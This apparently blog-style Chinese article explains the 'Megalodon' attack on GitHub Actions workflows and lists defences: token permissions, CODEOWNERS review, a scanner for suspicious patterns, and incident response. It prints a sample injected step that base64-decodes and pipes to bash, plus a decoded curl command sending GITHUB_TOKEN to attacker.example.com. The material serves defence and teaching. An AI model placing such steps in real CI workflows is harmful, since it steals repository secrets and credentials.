5月18日,超过5700个恶意提交同时涌入 GitHub 仓库,攻击者把 GitHub Actions 工作流里的正常步骤替换成 base64 编码的密钥窃取 payload——这就是安全公司 SafeDep 披露的"Megalodon"攻击。Tiledesk 的9个仓库、Black-Iron-Project 的8个仓库,以及数百个其他项目全部中招。这不是一次孤立的钓鱼,而是对 CI/CD 供应链的系统性入侵。
攻击是怎么展开的
攻击者的手法并不复杂,但很精准:
- 获取写入权限——通过被盗的 OAuth token、泄露的 collaborator 账号或仓库配置失误,攻击者拿到了目标仓库的直接推送权。
- 定位
.github/workflows/目录——找到现有的 CI 工作流文件(比如ci.yml、deploy.yml)。 - 替换关键步骤——把原本的构建/部署步骤替换成一段 base64 编码的脚本,这段脚本在运行时解码并执行密钥窃取逻辑。
- 触发工作流运行——推送本身就会触发
on: push事件,payload 自动执行,密钥被悄悄发往攻击者控制的外部服务。
整个过程不需要零日漏洞,不需要复杂的社会工程学——只需要一个能写仓库的账号和一个不设防的 CI 配置。
base64 payload 的伪装术
把恶意代码编码成 base64 是一种低技术但高效的伪装:
- 代码审查时,肉眼看到的是一串看似随机的字符,不像可读的 shell 命令那样会引起警觉。
- GitHub 的 diff 页面对长 base64 字符串的展示可读性极差,审查者很容易跳过。
- 解码后的脚本通常很短:读取环境变量中的
GITHUB_TOKEN、自定义 secrets、AWS 凭证等,然后通过curl或wget发送到远程端点。
一个典型的恶意步骤看起来像这样:
# 攻击者注入的恶意步骤(示意)
- name: "Setup environment"
run: echo "ZXhwb3J0IFNFRUNSRVQ9JChn...长串base64..." | base64 -d | bash
解码后可能就是几行窃取脚本:
# base64 解码后的实际内容(示意)
export SECRET_VALUE="${GITHUB_TOKEN}"
curl -s -X POST https://attacker.example.com/collect \
-d "repo=${GITHUB_REPOSITORY}&secret=${SECRET_VALUE}&runner=${RUNNER_OS}"
为什么 CI 工作流是完美目标
GitHub Actions 工作流天然拥有高权限:
GITHUB_TOKEN自动注入——每个工作流运行时都会获得一个临时 token,默认权限取决于仓库设置,很多项目配置为write级别。- 自定义 Secrets 暴露为环境变量——
secrets.DEPLOY_KEY、secrets.AWS_ACCESS_KEY_ID等在运行时以环境变量形式存在,任何run:步骤都能读取。 - 触发门槛低——
on: push意味着攻击者只要推送一个提交,工作流就会自动运行,无需额外审批。
更危险的是,很多项目的分支保护规则只覆盖主分支,对 dev、feature 分支不加限制。攻击者往非保护分支推送恶意工作流修改,照样能触发运行并窃取密钥。
防御实践:让你的 CI 工作流更难被劫持
下面是一组可以直接落地的配置和检查命令。
1. 锁定 GITHUB_TOKEN 权限
在仓库或组织级别把默认权限设为 read,只在需要的工作流中按步骤显式提升:
# .github/workflows/ci.yml — 顶部设置权限
permissions:
contents: read # 只读仓库内容
issues: write # 仅在需要写 issues 的步骤中开放
pull-requests: read # PR 只读
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Run tests
run: pytest
在组织级别设置(路径:Organization Settings → Actions → General):
Default permissions: Read repository contents permission
☑ Allow GitHub Actions to create pull requests — 仅在必要时开启
2. 对工作流变更强制审批
在分支保护规则中,把 .github/workflows/ 目录的变更纳入必需审查:
# 用 GitHub CLI 查看当前分支保护设置
gh api repos/{owner}/{repo}/branches/main/protection \
--jq '.required_pull_request_reviews'
# 设置主分支保护:要求 PR 审查,且工作流文件变更需要额外审批
gh api repos/{owner}/{repo}/branches/main/protection \
-X PUT \
--field required_pull_request_reviews[dismiss_stale_reviews]=true \
--field required_pull_request_reviews[require_code_owner_reviews]=true
同时在 CODEOWNERS 文件中指定工作流目录的负责人:
# CODEOWNERS
/.github/workflows/ @security-team @lead-dev
这样任何修改工作流的 PR 都必须经过安全团队或主开发审批。
3. 扫描工作流中的 base64 和可疑模式
用以下脚本定期扫描仓库中的工作流文件,标记可疑的 base64 编码步骤:
#!/bin/bash
# scan_workflows.sh — 扫描 GitHub Actions 工作流中的可疑模式
REPO_DIR="${1:-.}"
ALERTS=()
for wf in "$REPO_DIR"/.github/workflows/*.yml "$REPO_DIR"/.github/workflows/*.yaml; do
[ -f "$wf" ] || continue
# 检查 base64 解码执行
if grep -nE 'base64\s+-d\s*\|\s*(bash|sh|eval)' "$wf" >/dev/null 2>&1; then
ALERTS+=("⚠️ $wf: 发现 base64 解码后直接执行的模式")
fi
# 检查 curl/wget 向外部发送数据
if grep -nE '(curl|wget)\s+.*(-d|--data|-X\s+POST)' "$wf" >/dev/null 2>&1; then
ALERTS+=("⚠️ $wf: 发现向外部端点发送数据的 curl/wget 命令")
fi
# 检查环境变量直接拼接进外部请求
if grep -nE 'secrets\.[A-Z_]+.*curl' "$wf" >/dev/null 2>&1; then
ALERTS+=("⚠️ $wf: 发现 secrets 变量与 curl 命令同时出现")
fi
# 检查超长字符串(可能是编码 payload)
long_lines=$(awk 'length > 200' "$wf")
if [ -n "$long_lines" ]; then
ALERTS+=("⚠️ $wf: 发现超过200字符的长行,可能是编码 payload")
fi
done
if [ ${#ALERTS[@]} -eq 0 ]; then
echo "✅ 未发现可疑模式"
else
printf '%s\n' "${ALERTS[@]}"
echo "❌ 发现 ${#ALERTS[@]} 个可疑点,请人工审查"
fi
运行方式:
# 扫描当前仓库
bash scan_workflows.sh .
# 扫描克隆下来的第三方仓库
git clone https://github.com/example/repo /tmp/repo
bash scan_workflows.sh /tmp/repo
4. 使用第三方安全扫描工具
在 CI 中集成专门的工作流安全扫描:
# .github/workflows/security-scan.yml
name: Workflow Security Scan
on:
pull_request:
paths:
- '.github/workflows/**'
jobs:
scan:
runs-on: ubuntu-latest
permissions:
contents: read
steps:
- uses: actions/checkout@v4
# zizmor: 专门扫描 GitHub Actions 安全问题
- name: Run zizmor
uses: zizmorcore/zizmor-action@v0.1.0
# CodeQL 也能检测工作流中的密钥泄露模式
- name: CodeQL workflow scan
uses: github/codeql-action/analyze@v3
with:
languages: actions
事后响应:如果已经被攻击了
如果你发现仓库的工作流被篡改:
# 1. 立即列出所有被修改的工作流提交
gh api repos/{owner}/{repo}/commits \
--jq '.[] | select(.files[].filename | startswith(".github/workflows/")) | .sha'
# 2. 撤销所有被窃取的 secrets
# 在 GitHub Settings → Secrets 中逐个删除并重新生成
# 3. 检查 GITHUB_TOKEN 在攻击期间的权限日志
gh api repos/{owner}/{repo}/actions/runs \
--jq '.workflow_runs[] | select(.created_at > "2025-05-18") | {id, name, status, conclusion}'
# 4. 回滚恶意提交
git revert <malicious-commit-sha>
git push origin main
检查清单
在 Megalodon 这类攻击面前,被动等待审查是不够的。以下清单可以帮助你系统性加固:
| 检查项 | 状态 |
|---|---|
组织/仓库默认 Actions 权限设为 read |
☐ |
所有保护分支启用了 CODEOWNERS 对工作流目录的审查 |
☐ |
secrets.* 不在工作流的 run: 步骤中直接引用(使用 env: 映射) |
☐ |
分支保护覆盖所有长期分支,不只是 main |
☐ |
| CI 中有自动化工作流安全扫描步骤 | ☐ |
| 定期轮换仓库中的所有 secrets | ☐ |
| 外部协作者权限定期审计,移除不再需要的写入权 | ☐ |
Megalodon 证明了:供应链攻击不需要天才级的技术,只需要目标仓库的权限配置足够松懈。把 CI 工作流当作生产环境一样保护——它确实就是。